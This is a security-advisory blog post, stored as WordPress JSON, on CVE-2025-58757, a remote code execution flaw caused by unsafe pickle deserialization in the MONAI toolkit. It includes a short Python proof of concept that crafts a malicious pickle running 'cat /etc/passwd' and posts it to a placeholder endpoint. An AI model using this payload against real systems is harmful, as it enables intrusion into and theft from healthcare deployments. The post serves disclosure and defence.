{"id":74901,"date":"2025-09-14T19:12:37","date_gmt":"2025-09-14T19:12:37","guid":{"rendered":""},"modified":"2025-10-22T19:05:57","modified_gmt":"2025-10-23T01:05:57","slug":"cve-2025-58757-remote-code-execution-vulnerability-in-monai-ai-toolkit","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-58757-remote-code-execution-vulnerability-in-monai-ai-toolkit\/","title":{"rendered":"CVE-2025-58757: Remote Code Execution Vulnerability in MONAI AI Toolkit<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The CVE-2025-58757 vulnerability is a severe security flaw that affects the MONAI AI toolkit, widely used in healthcare imaging applications. This vulnerability has the potential to enable remote code execution, posing a significant risk to any system running MONAI versions up to and including 1.5.0. The ability to execute arbitrary code<\/a> on a targeted system could lead to significant consequences, such as unauthorized system access, data theft, or even full system compromise. This issue is of particular concern since MONAI is widely used in the healthcare industry where data privacy and security<\/a> are paramount.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-58757
\nSeverity: High (CVSS: 8.8)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Remote Code Execution<\/a>, potential system compromise or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

MONAI | Up to and including 1.5.0<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability exploits the `pickle_operations` function<\/a> in `monai\/data\/utils.py`. If a dictionary key-value pair is received that ends with a specific suffix, the function automatically deserializes it using `pickle.loads()`. Since the function lacks any security measures, an attacker can send malicious data that, when deserialized, may execute arbitrary code<\/a> on the target system.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here is a conceptual example of how the vulnerability might be exploited. An attacker could send a specially crafted payload to a vulnerable<\/a> endpoint:<\/p>\n

import requests\nimport pickle\nimport os\n# Create a serialized malicious payload using pickle\nclass Exploit(object):\ndef __reduce__(self):\nreturn (os.system, ('cat \/etc\/passwd',))\nmalicious_payload = pickle.dumps(Exploit())\n# Send the malicious payload to the vulnerable endpoint\nresponse = requests.post('http:\/\/target.example.com\/vulnerable\/endpoint', data=malicious_payload)<\/code><\/pre>\n
In this example, the malicious payload, when deserialized, would execute `os.system(‘cat \/etc\/passwd’)` on the target system, leaking sensitive information<\/a>.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
Until a patch is released by the vendor, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help mitigate this vulnerability by detecting and blocking<\/a> malicious payloads. It’s also recommended to restrict network access to the affected systems and regularly monitor the activity logs<\/a> for any unusual behavior.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The CVE-2025-58757 vulnerability is a severe security flaw that affects the MONAI AI toolkit, widely used in healthcare imaging applications. This vulnerability has the potential to enable remote code execution, posing a significant risk to any system running MONAI versions up to and including 1.5.0. The ability to execute arbitrary code on a targeted […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-74901","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t